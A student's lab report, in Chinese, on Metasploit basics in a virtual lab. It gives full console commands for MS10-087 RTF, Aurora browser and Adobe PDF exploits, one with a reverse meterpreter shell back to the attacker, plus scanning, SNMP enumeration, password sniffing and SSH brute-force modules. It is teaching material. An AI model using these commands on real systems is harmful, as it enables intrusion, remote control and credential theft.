20155202张旭 Exp5 MSF基础应用
20155202张旭 Exp5 MSF基础应用
实践内容
本次实验我使用的攻击方式:
1.针对office软件的主动攻击:——MS10-087:
2.MS10-002漏洞对浏览器攻击
3.针对客户端的攻击:Adobe Reader软件的渗透攻击——adobe_toolbutton
4.APR中间人窃听被动攻击的模块攻击: spoof/arp/arp_poisoning
5.Wget FTP软链接攻击漏洞 server/wget_symlink_file_write
6. ARP扫描
7.SNMP监听: snmp_enum
- 基础问题回答
用自己的话解释什么是exploit,payload,encode.
exploit
漏洞利用
payload
攻击载荷,是我们exploit中shellcode中的主要功能代码。
encode
编码,是我们用来修改字符,达到免杀效果。
首先我们应该知道MSF常用漏洞命令:
show exploits
列出metasploit框架中的所有渗透攻击模块。
show payloads
列出metasploit框架中的所有攻击载荷。
show auxiliary
列出metasploit框架中的所有辅助攻击载荷。
search name
查找metasploit框架中所有的渗透攻击和其他模块。
info
展示出制定渗透攻击或模块的相关信息。
use name
装载一个渗透攻击或模块。
LHOST
你本地可以让目标主机连接的IP地址,通常当目标主机不在同一个局域网内时,就需要是一个公共IP地址,特
别为反弹式shell使用。
RHOST
远程主机或是目标主机。
set function
设置特定的配置参数(EG:设置本地或远程主机参数)。
setg function
以全局方式设置特定的配置参数(EG:设置本地或远程主机参数)。
show options
列出某个渗透攻击或模块中所有的配置参数。
show targets
列出渗透攻击所有支持的目标平台。
set target num
指定你所知道的目标的操作系统以及补丁版本类型。
exploit:运行模块
开始试验:
1.针对office软件的主动攻击:——MS10-087:
在攻击机输入以下指令:
msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set payload windows/exec //运行一个可执行文件
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set CMD calc.exe //绑定计算机程序,进行启动
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit //攻击
-
使用
show options
命令查看一些参数值,比如文件名、绑定程序等 -
我用了
cp -r 要复制的文件夹绝对地址 /root
命令,将那个文件夹复制到主机root目录下。 -
取出来了这个文件,复制到靶机下,双击打开,结果打开了计算器,正确,攻击完成。
2.MS10-002漏洞对浏览器攻击
- 该模块针对浏览器包括IE6、IE7、IE8,在kali输入msfconsole进入msf终端
use windows/browser/ms10_002_aurora
set SRVHOST 192.168.43.80
set LHOST 192.168.43.80
set URIPATH aurora.html
set LPORT 5202
-
遇到了问题; 打不开网页:
-
排查发现没有ping通;
-
改桥接ping通后发现:Internet Explorer 遇到问题需要关闭。我们对此引起的不便表示抱歉。
-
上网查询后,决定关掉EXplorer程序:到任务管理器关闭explore进程:
- -
然后发现IE浏览器没了,真是愚蠢,然后在计算机程序功能里恢复一下吧:
-
还是在IE里的inteenet选项里把能启用的都启用,把级别调到最低,总之把IE弄到危险最大化来尝试一下:
-
添加到可信站点里:
-
最后尝试一下:
-
依旧报错,最后我在网上找了 一个方法:
1. 把下面这行字符复制到cmd框里面去回车等待dll文件全部注册完成就关闭可以了(下面是要运行的代码):
for %1 in (%windir%\system32\*.dll) do regsvr32.exe /s %1
完成后重新启动电脑
2. 打开浏览器,点“工具”→“管理加载项”那里禁用所有可疑插件,或者你能准确知道没问题的保留。
3,然后→工具→INTERNET选项→常规页面→删除cookies→删除文件→钩选删除所有脱机内容→确定→设置使用的磁盘空间为:8MB或以下(我自己使用1MB)→确定→清除历史纪录→网页保存在历史记录中的天数:3以下→应用确定(我自己使用的设置是0天)。
4. 还原浏览器高级设置默认值:工具→INTERNET选项→高级→还原默认设置。
5. 恢复默认浏览器的方法“工具”→Internet选项→程序→最下面有个“检查Internet Explorer是否为默认的浏览器”把前面的钩选上,确定。
6. 设置主页:“工具”→Internet选项→常规→可以更改主页地址→键入你喜欢的常用网址→应用。
- 好了,变成这样了:
- 遇到
出现为了帮助您保护计算机,windows已经关闭此程序
这样的问题解决方法如下:
- 关闭数据保护,编辑Boot.ini文件,将/NoExecute=OptIn 改为/NoExecute=AlwaysOff。
- 要编辑Boot.ini,请在开始中我的电脑上点右键—属性—高级,启动和故障恢复设置,完成
-
在kail里链接成功:
-
真心不容易啊,我开了5个虚拟机来做,最后筛选出了一个可以成功的虚拟机:
-
查ip发现是这个虚拟机:
完成攻击!
3.针对客户端的攻击:Adobe Reader软件的渗透攻击——adobe_toolbutton
- 在攻击机kali输入以下指令:
msf > use windows/fileformat/adobe_cooltype_sing
msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //tcp反向回连
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.43.80//攻击机ip
msf exploit(adobe_cooltype_sing) > set LPORT 5202 //攻击端口
msf exploit(adobe_cooltype_sing) > set FILENAME 20155202.pdf //设置生成pdf文件的名字
msf exploit(adobe_cooltype_sing) > exploit //攻击
将生成的pdf文件拷贝到靶机上,输入back退出当前模块,进入监听模块,输入以下命令:
msf > use exploit/multi/handler //进入监听模块
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接
msf exploit(handler) > set LHOST 192.168.43.80 //攻击机ip
msf exploit(handler) > set LPORT 5202 //攻击端口固定
msf exploit(handler) > exploit
- 在靶机上打开生成的pdf:
- kail上显示回连成功,可以进行操作了:
- 当靶机关闭pdf文件,则此次监听关闭。
adobe_toolbutton攻击成功!
4.辅助模块:
1,.首先用 : show auxiliary 列出metasploit框架中的所有辅助攻击载荷:
找一个别人都没用过的作为我的攻击手段。是真的难找啊,找一个满足虚拟机配置还要和其他同学与众不同的,首先我找到了1999年的APR中间人窃听被动攻击的模块:spoof/arp/arp_poisoning
但他实在是太老了,于是我换了一个server/wget_symlink_file_write
- 这是
Wget FTP软链接攻击漏洞
,2014年阿里巴巴安全部专门为其进行了安全分析: - 无奈我没有linux靶机,只好换一个我靶机可以用的arp扫描
6.ARP扫描
msf > use auxiliary/scanner/discovery/arp_sweep
然后
set RHOSTS 192.168.108.0-192.168.108.255
然后 exploit进行攻击
- 可以发现NTP网络时间协议服务器,它是用来同步各个计算机的时间的协议用的。
7.snmp扫描与枚举:
简单网络管理协议(SNMP),由一组网络管理的标准组成,包含一个应用层协议(application layer protocol)、数据库模型(database schema)和一组资源对象。该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况
- 使用SNMP扫描模块可以收集大量信息(如开放端口,服务,主机名,进程和正常运行时间等)。使用我们的Metasploitable虚拟机作为我们的目标,运行辅助
/ scanner / snmp / snmp_enum
模块 - 首先查看一下其基本信息:
info scanner/snmp/snmp_enum
开始试验:
- 需要的模块:
use auxiliary/scanner/snmp/snmp_login
use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/snmp/snmp_enumusers (windows)
use auxiliary/scanner/snmp/snmp_enumshares (windows)
- 首先加载模块:
msf > use auxiliary/scanner/snmp/snmp_login
msf auxiliary(snmp_login) > show options
- 可以看到161端口正是udp端口。
- 设置监听ip:
msf auxiliary(snmp_login) > set RHOSTS 192.168.244.130
- 这里要说明我是为了节省时间,其实还可以这样;监听整个网段所有主机
- 这是我修改网段后得到的结果:
msf auxiliary(snmp_login) > set THREADS 10 //设置线程
msf auxiliary(snmp_login) > run 开始跑
- 转到我们的另一个模块:
snmp_enum
msf auxiliary(snmp_enum) > set RHOSTS 192.168.244.130
msf auxiliary(snmp_enum) > set THREADS 10
msf auxiliary(snmp_enum) > show options
-
然后开始跑:msf auxiliary(snmp_login) > run
-
出错了:
Errno::ECONNREFUSED Connection refused - recvfrom(2)
,这是怎么回事呢?
Connection refused
错误返回,错误码是ECONNREFUSED
。从这个错误码知道远端没有这个服务端口,但是161就是UDP端口啊 -
是不是我的主机有问题?不,在控制面板—程序—打开或关闭windows功能—找到snmp和Internet信息服务,展开---选中FTP的三个项。如果FTP也开启了,那就把端口号改成22。
-
成功了,现在是连接超时问题:
-
我换了一台xp靶机尝试:
-
更改地址:
192.168.244.129
-
哇,新问题了诶
SNMP request timeout.
-
按照这个进行修改:
此外:
MSF信息收集还有其他的途径:
nmap扫描
db_nmap -sV 192.168.1.1
auxiliary扫描模块
RHOSTS <>RHOST
192.168.1.1-24 192.168.1.1/24
files:/root/ip.txt
port扫描
use auxiliary/scanner/portscan/syn
set INTERFACE̵ PORTS̵ RHOSTS̵ THREADSҔ run
nmap ipid idle扫描
use auxiliary/scanner/ip/ipidseq
set RHOSTS 192.168.1.0/24 Ҕ run
nmap -PN -sI <dile地址> <扫描地址>
UDP扫描
use auxiliary/scanner/discovery/udp_sweep
use auxiliary/scanner/discovery/udp_probe
密码嗅探
use auxiliary/sniffer/psnuffle
SMB扫描
SMB版本扫描
use auxiliary/scanner/smb/smb_version 扫描命名管道,判断SMB服务类型(账号、密码)
use auxiliary/scanner/smb/pipe_auditor 扫描通过SMB管道可以访问的RCERPC服务
use auxiliary/scanner/smb/pipe_dcerpc_auditor SMB共享枚举(账号、密码)
use auxiliary/scanner/smb/smb_enumshares SMB用户枚举(账号、密码)
use auxiliary/scanner/smb/smb_enumusers SID枚举(账号、密码)
use auxiliary/scanner/smb/smb_lookupsid
SSH扫描
SSH版本扫描
use auxiliary/scanner/ssh/ssh_version
SMB密码爆破
use auxiliary/scanner/ssh/ssh_login
set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/
root_userpass.txt ; set VERBOSE false ; run
SSH公钥登录
use auxiliary/scanner/ssh/ssh_login_pubkey
set KEY_FILE id_rsa;set USERNAME root ;run